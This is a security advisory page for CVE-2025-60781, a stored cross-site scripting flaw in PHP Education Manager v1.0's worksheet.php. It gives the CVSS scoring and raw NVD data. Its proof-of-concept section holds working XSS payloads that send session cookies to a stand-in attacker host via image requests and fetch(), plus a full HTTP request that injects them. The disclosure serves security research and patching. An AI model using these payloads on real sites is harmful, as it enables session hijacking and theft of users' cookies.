Security Vulnerability Report
中文
CVE-2025-60781 CVSS 6.1 MEDIUM

CVE-2025-60781

Published: 2025-10-20 21:15:38
Last Modified: 2025-10-22 16:52:44

Description

PHP Education Manager v1.0 is vulnerable to Cross Site Scripting (XSS) in the worksheet.php file via the participant_name parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:iqbolshoh:php_education_management:1.0:*:*:*:*:*:*:* - VULNERABLE
PHP Education Manager < 1.1(建议升级至修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-60781 --> <!-- Target: PHP Education Manager v1.0 - worksheet.php --> <!-- Vulnerable Parameter: participant_name --> <!-- Step 1: Craft malicious payload --> <script> // Steal session cookies and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); </script> <!-- Alternative payloads --> <!-- Simple alert test --> <script>alert('XSS-Vulnerability-CVE-2025-60781')</script> <!-- Cookie stealing payload --> <script>fetch('http://attacker-server.com/log?c='+document.cookie)</script> <!-- HTML injection with event handler --> <img src=x onerror="fetch('http://attacker-server.com/log?c='+document.cookie)"> <!-- HTTP Request Example to exploit the vulnerability --> POST /worksheet.php HTTP/1.1 Host: target-education-manager.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=valid_session_cookie participant_name=<script>alert(document.cookie)</script>&worksheet_id=1&submit=Submit

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60781", "sourceIdentifier": "[email protected]", "published": "2025-10-20T21:15:37.860", "lastModified": "2025-10-22T16:52:44.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHP Education Manager v1.0 is vulnerable to Cross Site Scripting (XSS) in the worksheet.php file via the participant_name parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iqbolshoh:php_education_management:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "0ECB330A-364E-42EF-A3B3-0AA37D1B7506"}]}]}], "references": [{"url": "https://gold-textbook-8ff.notion.site/php-education-management-Stored-XSS-Vulnerability-25985e97f35380018b9af0f4b678002c?pvs=73", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}